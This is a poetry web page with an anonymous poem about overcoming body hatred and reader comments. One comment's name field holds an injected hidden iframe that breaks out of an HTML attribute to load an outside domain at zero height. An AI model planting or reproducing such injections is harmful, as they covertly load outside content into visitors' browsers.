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By Anonymous

     I tried to remember a time
when I did not hate my body
when I still appreciated
all that it was capable of
running cursive words
across vacant lots
I would chase butterflies
and paint the morning
with curious fingers
for so long I have counted
the calories, miles, lies
I told myself
there was porcelain catharsis
and tears that blurred my vision
blurred the reflection I saw
in that broken mirror
I shall not deny my curves any longer
the arches of femininity
that class artwork celebrates
I see not the imperfections, but the
strength and beauty it contains
I have swept the shards
and pieced myself back together.
I am whole again.


© Anonymous

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on Jan. 17 2018 at 3:50 am
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
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i love this so much!
Nommoc GOLD said...
on Nov. 10 2013 at 10:05 pm
Nommoc GOLD, Jackson, Tennessee
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Roses are red. Violets are blue. An original poem is long overdue.

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Loved your poem!
m.s.moore SILVER said...
on Jan. 13 2012 at 7:34 am
m.s.moore SILVER, Waterloo, New York
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life is not meant to arrive at the grave in a perfectly preserved body. it&#039;s meant to skid in side ways shouting &quot;Holy crap what a ride.&quot;

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fantastic for you, i'm happy to hear you're one of the few who could rise above their insecuritites, and that's a beautiful thing.
Thrush BRONZE said...
on Feb. 9 2010 at 12:50 pm
Thrush BRONZE, Tegaad, Other
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&quot;Live life to it&#039;s fullest extent, it&#039;s the only life you&#039;ve got&quot; &quot;Enjoy yourself, be yourself, love yourself&quot;

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That's great!!!
tay1234 BRONZE said...
on Aug. 17 2009 at 4:41 am
tay1234 BRONZE, Ft. Lauderdale, Florida
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wow really great!!
Amanda BRONZE said...
on Aug. 14 2009 at 7:13 pm
Amanda BRONZE, Rehoboth, Massachusetts
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O God, I could be bounded in a nutshell, and count myself a king of infinite space&mdash;were it not that I have bad dreams. {Hamlet}

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another ed poem. good one though.
meggyt BRONZE said...
on Apr. 12 2009 at 3:33 am
meggyt BRONZE, Cranford, New Jersey
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Thank you. I needed this more than anything.
lexikeys247 SILVER said...
on Mar. 19 2009 at 12:05 am
lexikeys247 SILVER, Forks, Washington
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i loved this! so inspiriing